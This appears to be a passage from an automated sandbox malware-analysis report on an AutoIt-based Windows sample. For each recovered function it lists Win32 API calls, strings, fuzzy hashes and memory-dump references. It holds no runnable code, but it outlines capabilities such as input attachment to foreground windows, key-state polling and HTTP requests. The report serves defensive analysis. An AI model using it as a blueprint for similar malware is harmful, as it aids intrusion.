Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 01032043
GetDlgCtrlID.USER32 ref: 0103204E
GetParent.USER32 ref: 0103206A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0103206D
GetDlgCtrlID.USER32(?), ref: 01032076
GetParent.USER32(?), ref: 0103208A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0103208D

Strings

ListBox, xrefs: 01032002
ComboBox, xrefs: 01031FCD

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 3f11d205504929a173860a2bdbad4bb8b04f0645638594734bab205d391d40f9
Instruction ID: eeeddf43dfb84c639460338404a356fd849741504a2fe9af274d27479d3533dd
Opcode Fuzzy Hash: 3f11d205504929a173860a2bdbad4bb8b04f0645638594734bab205d391d40f9
Instruction Fuzzy Hash: 7C21D475A00218BBDF11AFA4CC84EEEBFB9EF19300F004046F9D1972A6CB795818DB60

Function 01063A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 01063A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 01063AA0
GetWindowLongW.USER32(?,000000F0), ref: 01063AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 01063AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 01063B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 01063BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 01063BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 01063BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 01063BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 01063C13

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 112352f5b5d9f57dc255ff36c71ad05ebcb93d5e7ef2fe5a1632e29163a87830
Instruction ID: a4b2639126ca93b18287cfb6cb409277444c8c7072372c39bc72030e27ee7cae
Opcode Fuzzy Hash: 112352f5b5d9f57dc255ff36c71ad05ebcb93d5e7ef2fe5a1632e29163a87830
Instruction Fuzzy Hash: F7616A75900208AFDB20DFA8CC81EEE77F8FF09714F10019AFA95AB291D775A945DB90

Function 0103B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0103B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B165
GetWindowThreadProcessId.USER32(00000000), ref: 0103B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 0103B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0103A1E1,?,00000001), ref: 0103B21D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 3b1db2c314b246af02284a4ac496ec88b6c38791e87dc866b3545890ad93e05d
Instruction ID: b68c108820f56959957790cc2f2022563ecd9121f45f1d76a645ba33c96314be
Opcode Fuzzy Hash: 3b1db2c314b246af02284a4ac496ec88b6c38791e87dc866b3545890ad93e05d
Instruction Fuzzy Hash: FB31FD71180604BFEB359F28D849F6DBBEDBB86319F504104FAC2CA185C7BAA8008F24

Function 01002C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01002C94

Part of subcall function 010029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000), ref: 010029DE
Part of subcall function 010029C8: GetLastError.KERNEL32(00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000,00000000), ref: 010029F0

_free.LIBCMT ref: 01002CA0
_free.LIBCMT ref: 01002CAB
_free.LIBCMT ref: 01002CB6
_free.LIBCMT ref: 01002CC1
_free.LIBCMT ref: 01002CCC
_free.LIBCMT ref: 01002CD7
_free.LIBCMT ref: 01002CE2
_free.LIBCMT ref: 01002CED
_free.LIBCMT ref: 01002CFB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: aa965520425a5ba993a18b61e1943a9391fb2edffb4ca5ebf3ae278adad05b08
Instruction ID: c4a5c549467f4ce043041e07c10291093d6a69478084efb5f7e8131261c4af66
Opcode Fuzzy Hash: aa965520425a5ba993a18b61e1943a9391fb2edffb4ca5ebf3ae278adad05b08
Instruction Fuzzy Hash: 1511B676500109BFEB03EF94D885CDD3BA9FF15390F6144A5FA889F2A1DA31EE509B90

Function 01047DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 01047FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 01047FC1
GetFileAttributesW.KERNEL32(?), ref: 01047FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 01048005
SetCurrentDirectoryW.KERNEL32(?), ref: 01048017
SetCurrentDirectoryW.KERNEL32(?), ref: 01048060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 010480B0

Strings

*.*, xrefs: 01048066

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: c3ff5a516a632620742058fa713d03e0c0e4f37e3a8ea0ed6b36e7f769da91dd
Instruction ID: a3c9cd633eb68de918236dc879005afd26d3c815c9e65bf6e997972653ae80ba
Opcode Fuzzy Hash: c3ff5a516a632620742058fa713d03e0c0e4f37e3a8ea0ed6b36e7f769da91dd
Instruction Fuzzy Hash: 4981C1B25042019BDB74EF59C884AAEB7E9BF88310F084D6EF9C5C7250E735D945CB92

Function 00FD5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00FD5C7A

Part of subcall function 00FD5D0A: GetClientRect.USER32(?,?), ref: 00FD5D30
Part of subcall function 00FD5D0A: GetWindowRect.USER32(?,?), ref: 00FD5D71
Part of subcall function 00FD5D0A: ScreenToClient.USER32(?,?), ref: 00FD5D99

GetDC.USER32 ref: 010146F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 01014708
SelectObject.GDI32(00000000,00000000), ref: 01014716
SelectObject.GDI32(00000000,00000000), ref: 0101472B
ReleaseDC.USER32(?,00000000), ref: 01014733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 010147C4

Strings

U, xrefs: 01014693

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: e819c201679f4b7518b39605973d6faef0c5f1c5fb4255aa69893ffc96ed1ba2
Instruction ID: 0860b4c19cc7d5986dcfc46463849bf5723e87a7579a31f5ee21f49d859e25ba
Opcode Fuzzy Hash: e819c201679f4b7518b39605973d6faef0c5f1c5fb4255aa69893ffc96ed1ba2
Instruction Fuzzy Hash: EA71E331500205DFDF218F68C984ABE3BB6FF49365F1842A6EED59A26AC3399841DF50

Function 0104359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 010435E4

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

LoadStringW.USER32(010A2390,?,00000FFF,?), ref: 0104360A

Strings

Error: , xrefs: 010436EF
Line %d (File "%s"):, xrefs: 0104366B
"%s" (%d) : ==> %s:%s%s, xrefs: 01043724
"%s" (%d) : ==> %s:, xrefs: 01043742
^ ERROR, xrefs: 010436C9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 2cd4508b1b4f43b1a04efce96fd2e8cd860d7da88741543a6f84e3e57df22335
Instruction ID: 488dbfe35c086e19e2f0d7c94c0fd133af2cf962acb7cc4183f90513b992caa6
Opcode Fuzzy Hash: 2cd4508b1b4f43b1a04efce96fd2e8cd860d7da88741543a6f84e3e57df22335
Instruction Fuzzy Hash: 0D51A27280021ABBDF15EBE0CD81EEDBB7ABF14300F484126F14576251DB751A98EF61

Function 01068B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

Part of subcall function 00FE912D: GetCursorPos.USER32(?), ref: 00FE9141
Part of subcall function 00FE912D: ScreenToClient.USER32(00000000,?), ref: 00FE915E
Part of subcall function 00FE912D: GetAsyncKeyState.USER32(00000001), ref: 00FE9183
Part of subcall function 00FE912D: GetAsyncKeyState.USER32(00000002), ref: 00FE919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 01068B6B
ImageList_EndDrag.COMCTL32 ref: 01068B71
ReleaseCapture.USER32 ref: 01068B77
SetWindowTextW.USER32(?,00000000), ref: 01068C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 01068C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 01068CFF

Strings

@GUI_DROPID, xrefs: 01068C51
@GUI_DRAGFILE, xrefs: 01068C9A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 4313309d9898ea92ea912cfcb4f894f76da54117bbca1d49c19c1bc42fb641fb
Instruction ID: d0f109d127d5755c4ca24b20f1aa2c1185bd071aa4c07e5e012a20c16ed3b856
Opcode Fuzzy Hash: 4313309d9898ea92ea912cfcb4f894f76da54117bbca1d49c19c1bc42fb641fb
Instruction Fuzzy Hash: 4951AB71208304AFE710DF64DC59FAA77E9FB88714F40062EF9D6972A1CB799904CB62

Function 0104C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0104C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0104C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0104C2CA
GetLastError.KERNEL32 ref: 0104C322
SetEvent.KERNEL32(?), ref: 0104C336
InternetCloseHandle.WININET(00000000), ref: 0104C341

Strings

, xrefs: 0104C2BB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 7a7dc09a089ac3c8bd2660e1c96d0a3f78e68be3e3c750da4e8c5038aa4d45d1
Instruction ID: 28d8cdb07ef70945c986e1488bf6a296edbc66dfca4314240e920f69311193f9
Opcode Fuzzy Hash: 7a7dc09a089ac3c8bd2660e1c96d0a3f78e68be3e3c750da4e8c5038aa4d45d1
Instruction Fuzzy Hash: 073171B1601244AFF7319FA58AC4AAF7BFCEF49645B04856DE4C6D2210DB39DA048B60

Function 0103989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,01013AAF,?,?,Bad directive syntax error,0106CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 010398BC
LoadStringW.USER32(00000000,?,01013AAF,?), ref: 010398C3

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 01039987

Strings

Error: , xrefs: 01039955
Line %d:, xrefs: 01039912
Line %d (File "%s"):, xrefs: 0103992D
%s (%d) : ==> %s.: %s %s, xrefs: 010398F1
., xrefs: 0103996D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: d900e94fe707eff630bf387001ad72b8240154ff68150ddb63832ab17e6b0bca
Instruction ID: 6345a1127c76205edf7a9b9056ac330a0d1a70d8ceb908ea840c01dc811b9459
Opcode Fuzzy Hash: d900e94fe707eff630bf387001ad72b8240154ff68150ddb63832ab17e6b0bca
Instruction Fuzzy Hash: 1921D03190021EEBDF11AF90CC06EEE377ABF18304F08441AF65566061EB7A9A28EB11

Function 0103209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 010320AB
GetClassNameW.USER32(00000000,?,00000100), ref: 010320C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0103214D

Strings

smallicons, xrefs: 01032115
largeicons, xrefs: 010320E1
SHELLDLL_DefView, xrefs: 010320CC
details, xrefs: 010320FB
list, xrefs: 0103212F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 7e9b1bf0809f86d16e1aa8952e7e469cd16d04b7753fbeafb2a7c7083ee340ce
Instruction ID: 21f54509c4581e72a8296e8d99d2ee75b73ecf682fa9df996834551f5e637591
Opcode Fuzzy Hash: 7e9b1bf0809f86d16e1aa8952e7e469cd16d04b7753fbeafb2a7c7083ee340ce
Instruction Fuzzy Hash: 7B110A7A68830AB9FB122526DD16DBB379CCF55724B20015AF784A90A2FAB978016A14

Function 01008D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 343f3fa5452264d369bb29e5d2be5fd7461fb79d65f7e3c0b9dbaae0ca4120c3
Instruction ID: 062819872a75c00b55280d3a0eab8458b490428f348d88a42a49aed3d2cbea9d
Opcode Fuzzy Hash: 343f3fa5452264d369bb29e5d2be5fd7461fb79d65f7e3c0b9dbaae0ca4120c3
Instruction Fuzzy Hash: EDC1BF74D04249AFEB22DFACD844BADBFB4BF09314F04419AF698A72D2C7359941CB61

Function 0100CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0100CEB7
_free.LIBCMT ref: 0100CF22
_free.LIBCMT ref: 0100CF48
_free.LIBCMT ref: 0100CF71
_free.LIBCMT ref: 0100CFA9
_free.LIBCMT ref: 0100CFDA
_free.LIBCMT ref: 0100D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0100D09C
_free.LIBCMT ref: 0100D0B5

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 1ee7eff62ad01f277eea606da96a92ba99b82b1be0cc8ef7da01a95c0274133c
Instruction ID: 58456d234c6cb2d02f96d3b9b5e715a7124b16f558e63c8d123ff1a35081b8e2
Opcode Fuzzy Hash: 1ee7eff62ad01f277eea606da96a92ba99b82b1be0cc8ef7da01a95c0274133c
Instruction Fuzzy Hash: B2614972904205AFFB23AFB89984ABD7FE4AF01350F0442EDFAC4972C5D736990587A1

Function 010650D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 01065186
ShowWindow.USER32(?,00000000), ref: 010651C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 010651CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 010651D1

Part of subcall function 01066FBA: DeleteObject.GDI32(00000000), ref: 01066FE6

GetWindowLongW.USER32(?,000000F0), ref: 0106520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0106521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0106524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 01065287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 01065296

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 45c56fef8ada4fe8d6e18c3aa9064f3e62c7848ca151203b3cd41da7666c3deb
Instruction ID: ac35a38895cde480c7e852350b133ef4f124679a7804b3221cfab87a067b3902
Opcode Fuzzy Hash: 45c56fef8ada4fe8d6e18c3aa9064f3e62c7848ca151203b3cd41da7666c3deb
Instruction Fuzzy Hash: 4F51C470A4020AFFFF309F28CC45BD83BA9FB463A1F144152F6959A2E0D3B9A590DB51

Function 00FE8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 01026890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 010268A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 010268B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 010268D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 010268F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00FE8874,00000000,00000000,00000000,000000FF,00000000), ref: 01026901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0102691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00FE8874,00000000,00000000,00000000,000000FF,00000000), ref: 0102692D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

